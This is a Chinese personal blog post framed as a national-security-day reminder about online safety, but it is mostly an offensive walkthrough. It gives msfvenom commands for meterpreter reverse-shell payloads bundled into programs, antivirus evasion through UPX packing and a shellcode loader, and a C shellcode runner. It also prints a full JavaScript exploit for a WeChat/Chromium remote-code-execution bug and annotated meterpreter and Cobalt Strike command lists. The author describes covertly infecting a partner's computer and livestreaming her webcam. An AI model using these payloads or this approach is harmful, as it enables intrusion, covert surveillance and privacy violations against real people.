Life has its own fate, and meeting may not be accidental.

0%

4.15提醒朋友注意自身网络安全记录

那天闲着蛋疼,逛博客的时候发现有一篇教育意义(很狗)的博客,就想着4.15也快到了。趁着这个机会提醒下身边的朋友,在平常网上冲浪的时候注意下网络安全,说不定玩着玩着可能就被不知不觉的直播了。
阅读的文章:一次渗透妹子电脑开摄像头全过程

看着特别有意思,不过实践起来一定要注意适当。别干违法的事= =
还是简单描述具体思路好了,详细的如果实现不了私聊

具体思路

  • 第一步
    构建恶意文件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    1.指定一个可执行程序 捆绑木马
    msfvenom -p windows/x64/meterpreter_reverse_tcp -e x64/zutto_dekiru LHOST=[IP] LPORT=3333 -x webshell.exe -i 12 -f exe -o /root/webshell.exe

    2.联合shellcodeloader免杀制作.bin文件
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=3333 -e x64/zutto_dekiru -f raw -o windows.bin

    3.生成c文件
    msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp -e x64/zutto_dekiru -i 10 lhost=[IP] lport=3333 -f c -o ~/windows.c

    4.Cobaltstrike生成宏病毒代码
    一键生成宏代码后,新建一个文档或者用已经有的文档构建。(以word为例)步骤如下:
    选择 "视图" -> 宏 -> 查看宏 -> 创建,填入生成的宏代码即可
  • 第二步
    制作免杀,msfvenom生成的恶意文件基本底裤都被研究完了,生成C文件,再
    1. 加壳免杀(这个比较简单,我会!!)
      • upx加壳
        1
        2
        3
        4
        安装
        sudo apt-get install upx
        对windows.exe进行加壳,生成的windows-upxed.exe文件就是加壳后的
        sudo upx windows.exe -o windows-upxed.exe
      • shellcodeloader免杀
        ![shellcodeloader](123213scsadsaxzcadsadsajpg %}
        生成bin文件后利用shellcodeloader生成免杀文件
    2. 生成C文件自己编译,上述命令生成了buf,编译生成exe(最简单的)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      #inclde<bits/stdc++.h>
      using namespace std;
      #将生成的windows.c中buf字符串复制到这里
      unsigned char buf[······];
      int main(){
      int (*func)() = (int(*)())buf;
      func();
      return 0;
      }
  • 第三步
    缕清攻击策略(以我对象为例)
    1
    2
    1. 恶意文件捆绑她专业软件破解版发给她(可能会被发现,免杀做的有点粗糙不一定能过)
    2. 以八卦的形式(前几天看到项XX瓜,再结合她本身是朝阳区第一吃瓜群众,这个方法可行性最高!但是会报毒,否定)
  • 第四步
    开始搞看来只能做个恶意程序捆绑正常文件了,先做个垃圾文件。然后更换了图标为网易云的图标。直接冲! ![上线了~](20210423212319164859jpg %}
    立马移动到别的pid进程去了,然后利用webcam_stream在公网起了个直播哈哈,不过看了会她发现关掉没用,就关机了,然后开机发现没了就跟我得瑟,同志们我还是下手轻了。 后面通过她拍的照片发现摄像头边上的灯还是有点用的,毕竟突然亮起来肯定没好事,不过我有物理遮挡 到现在我发的文件她都不接收了,除非带着vt截图!!果然一朝被蛇咬十年怕井绳,还是亲身经历过,才了解平常网上冲浪要注意安全!

MSF权限维持

1
2
ps -列出正在运行的进程
migrate 【PID】 -移动到一个指定的 PID 的活动进程

WeChat 0day上线

当我看到这个漏洞的时候,我知道轮到她以及他们得瑟的时代结束了~
首先生成属于自己的shellcode,然后将buf字符串替换\,0。在服务器上起一个服务,杀穿了~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
</head>
<h1>PC微信好东西</h1>
<script>
ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
//buf字符串放在这
var shellcode = [0xfc,0xe8······];

function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});


for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}




var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;


function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}


function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}


function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;


this.page_buffer = null;
this.page_view = null;


this.prevent_opt = [];


var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;


class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}


this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);


new RegExp({ toString: function () { return 'a' } });
cb(true);


class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);


// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}


// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}


class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}


return DerivedN;
})`);


gc();




new (derived_n(tDerivedNDepth))();


this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}


this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}


this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}


this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}


this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}


this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}


function trigger() {
var oob = oobAccess();


var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));


var kCodeInsOffset = 0x1b;


var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));


oob.setBytes(code_addr, shellcode);


target_function(0);
}


try{
print("start running");
trigger();
}catch(e){
print(e);
}
</script>

meterpreter命令详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
    Command              Description
------- -----------
? 帮助菜单
background 当前会议的背景
bg 背景的别称
bgkill 杀死一个后台计价器脚本
bglist 列出正在运行的后台脚本
bgrun 以后台线程的形式执行抄表器脚本
channel 显示信息或控制活动通道
close 关闭通道
disable_unicode_encoding 禁用unicode字符串的编码。
enable_unicode_encoding 启用unicode字符串的编码。
exit 终止流量计会话
get_timeouts 获取当前会话超时值
guid 获取会话GUID
help 帮助菜单
info 显示邮政模块的信息
irb 在当前会话上打开一个交互式Ruby shell
load 装入一个或多个表前仪分机
machine_id 获取连接到会话的机器的MSF ID。
migrate 将服务器迁移到另一个进程
pivot 管理中枢监听器
pry 在当前会话上打开Pry调试器。
quit 终止流量计会话
read 从通道中读取数据
resource 运行存储在文件中的命令
run 执行一个抄表器脚本或Post模块。
secure (重)在会话上协商TLV数据包加密问题
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 迫使Meterpreter安静下来,然后重新建立会话。
transport 改变当前的传输机制
use "load "的弃用别名
uuid 获取当前会话的UUID
write 将数据写入通道
Stdapi: File system Commands
============================
Command Description
------- -----------
cat 将文件内容读到屏幕上
cd 更改目录
checksum 检索文件的校验和
cp 将源头复制到目的地
dir 列表文件(ls的别名
download 下载文件或目录
edit 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列表文件
mkdir 制作目录
mv 将源头移动到目的地
pwd 打印工作目录
rm 删除指定的文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp 显示主机ARP缓存
getproxy 显示当前的代理配置
ifconfig 显示界面
ipconfig 显示界面
netstat 显示网络连接
portfwd 将本地端口转发给远程服务
resolve 在目标机上解析一组主机名。
route 查看和修改路由表
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev 清除事件日志
drop_token 放弃任何活动的冒充令牌。
execute 执行一个命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 试图启用当前进程的所有可用特权
getsid 获取服务器正在运行的用户的SID为
getuid 获取服务器运行的用户为
kill 终止一个进程
localtime 显示目标系统的本地日期和时间。
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重新启动远程计算机
reg 修改远程注册表并与之互动
rev2self 在远程机器上调用RevertToSelf()。
shell 进入系统命令行
shutdown 关闭远程电脑
steal_token 试图从目标进程中窃取冒充令牌
suspend 暂停或恢复进程清单。
sysinfo 获取远程系统的信息,如操作系统。
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的仪表盘桌面
idletime 返回远程用户闲置的秒数。
keyboard_send 发送按键
keyevent 发送关键事件
keyscan_dump 转储按键缓冲区
keyscan_start 开始捕捉按键
keyscan_stop 停止捕捉按键
mouse 发送鼠标事件
screenshare 实时观看远程用户的桌面。
screenshot 抓取交互式桌面的截图
setdesktop 更改当前桌面的计价器
uictl 控制一些用户界面组件
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic 用默认麦克风录制音频X秒。
webcam_chat 开始视频聊天
webcam_list 网络摄像机列表
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 播放指定网络摄像头的视频流
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play 在目标系统上播放音频文件,没有任何内容写入磁盘
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem 试图将你的权限提升到本地系统的权限。
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump 转储SAM数据库的内容
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp 操作文件的MACE属性

Cobaltstrike beacon详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
命令                              描述
------- --------
argue 匹配过程的虚假参数
blockdlls 阻止子进程中的非微软DLLs
browserpivot 设置浏览器pivot会话
cancel 取消正在进行的下载
cd 更改目录
checkin Call home and post data
chromedump 恢复谷歌浏览器的证书
clear 清除信标队列
connect 通过TCP连接到一个Beacon对等体
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希值
desktop 查看目标的桌面并与之互动
dllinject 在进程中注入Reflective DLL。
dllload 用LoadLibrary()将DLL加载到一个进程中。
download 下载文件
downloads 列出正在进行的文件下载
drives 在目标上列出驱动器
elevate 在升高的上下文中生成一个会话
execute 在目标机上执行程序(无输出)
executeassembly 在目标机上执行本地.NET程序。
exit 终止信标会话
getprivs 启用当前令牌的系统权限
getsystem 试图获得系统
getuid 获取用户ID
hashdump 转储密码哈希
help 帮助菜单
inject 在特定的进程中产生一个会话
inlineexecute 在此环节中运行一个信标对象文件
jobkill 杀死一个长期存在的后期开发任务。
jobs 列出长期运行的开发后任务(List long-running post-exploitation tasks)
jump 在远程主机上生成一个会话
kerberos_ccache_use 将缓存中的 kerberos ticket 应用到这个会话中。
kerberos_ticket_purge 清除本次会话中的kerberos票据
kerberos_ticket_use 将 kerberos ticket 应用到这个会话
keylogger 启动击键记录器
kill 杀死一个进程
link 通过命名的管道连接到Beacon对等体
logonpasswords 用mimikatz转储证书和哈希值。
ls 列表文件
make_token 创建一个传递凭证的令牌
mimikatz 运行mimikatz命令
mkdir 建立一个目录
mode dns 使用DNS A作为数据通道(仅限DNS信标)
mode dnstxt 使用DNS TXT作为数据通道(仅限DNS信标)
mode dns6 使用 DNS AAAA 作为数据通道(仅适用于 DNS 信标)。
mv 移动文件
net 网络和主机枚举工具
note 为该信标指定一个注释
portscan 扫描网络中的开放服务
powerpick 通过Unmanaged PowerShell执行命令。
powershell 通过powershell.exe执行命令。
powershellimport 导入一个powershell脚本
ppid 为生成的postex作业设置父级PID。
printscreen 通过PrintScr方法拍摄一张截图
ps 显示过程列表
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz的Passthehash。
pwd 打印当前目录
reg 查询注册表
remoteexec 在远程主机上运行一个命令
rev2self 恢复到原来的令牌
rm 移除文件或文件夹
rportfwd 设置逆向端口转发
rportfwd_local 通过Cobalt Strike客户端设置反向端口转发。
run 在目标机上执行程序(返回输出)
runas 以其他用户身份执行程序
runasadmin 在提高的上下文中执行程序( Execute a program in an elevated context)
runu 在另一个PID下执行程序
screenshot 拍一张截图
screenwatch 定期对桌面进行截屏
setenv 设置一个环境变量
shell 通过cmd.exe执行命令。
shinject 将shellcode注入到进程中
shspawn 生成进程并将shellcode注入其中
sleep 设置信标睡眠时间
socks 启动SOCKS4a服务器来中继流量。
socks 停止SOCKS4a服务器
spawn 产生一个会话
spawnas 以另一个用户的身份生成一个会话
spawnto 设置可执行文件以将进程生成到
spawnu 在另一个进程下生成一个会话
spunnel 通过 rportfwd 生成和隧道代理。
spunnel_local 通过Cobalt Strike客户端rportfwd生成和挖掘一个代理。
ssh 使用SSH在主机上生成一个SSH会话。
sshkey 使用SSH在主机上生成一个SSH会话。
steal_token 从进程中窃取访问令牌
timestomp 将时间戳从一个文件应用到另一个文件
unlink 断开与母信标的连接
upload 上传文件

参考文章

【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防
微信 RCE 0day
chrome(最新版可用) 0day上线cs & wx 0day上线
远控免杀专题文章(1)-基础篇
Metasploit(1):记录一次Win10的渗透过程

工具

shellcodeloader